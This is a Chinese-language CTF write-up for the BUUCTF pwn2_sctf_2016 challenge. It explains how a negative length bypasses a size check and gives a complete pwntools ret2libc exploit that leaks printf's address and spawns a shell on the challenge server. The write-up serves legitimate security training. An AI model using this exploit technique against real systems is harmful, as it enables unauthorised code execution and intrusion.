BUUCTF | pwn2_sctf_2016
1.checksec

有NX保护
2.IDA

观察一下,发现v2的长度不能大于32,否则进入if语句,结束
点进get_n观察一下

get_n会接收a2个长度的字符放到vuln函数的缓冲区内部,而a2是unsigned int,前面v2是int型,unsigned int是无符号整型,遇到-1就会变成unsigned int的最大值,利用这一点可以绕过判断发生溢出
3.没有现成sys函数,且有NX保护,要泄露libc基址
4.payload
payload1=b'a'(0x2c+4)+p32(printf_plt)+p32(main)+p32(printf_got)
填充长度为0x2c+4,Call printf,返回main,打印printf的地址,got表真地址
payload2=b'a'(0x2c+4)+p32(system)+p32(main)+p32(bin_sh)
不再赘述
5.找libc版本

ubuntu16,在buu找到对应版本下载

版本为libc-2.23.so
完整exp:
点击查看代码
from pwn import *
from LibcSearcher import *
context.log_level='debug'
p=remote('node5.buuoj.cn',28828)
elf=ELF('./pwn2_sctf_2016')
printf_plt=elf.plt['printf']
printf_got=elf.got['printf']
main=elf.sym['main']
p.recvuntil('How many bytes do you want me to read? ')
p.sendline('-1')
p.recvuntil('\n')
payload1 = b'a'*(0x2c+4)+p32(printf_plt)+p32(main)+p32(printf_got)
p.sendline(payload1)
p.recvuntil('\n')
printf_addr=u32(p.recv(4))
libc = ELF('./libc-2.23.so')
libc_base=printf_addr-libc.symbols['printf']
system=libc_base+libc.symbols['system']
bin_sh=libc_base+libc.search('/bin/sh').__next__()
p.recvuntil('How many bytes do you want me to read? ')
p.sendline('-1')
p.recvuntil('\n')
payload=b'a'*(0x2c+4)+p32(system)+p32(main)+p32(bin_sh)
p.sendline(payload)
p.interactive()
浙公网安备 33010602011771号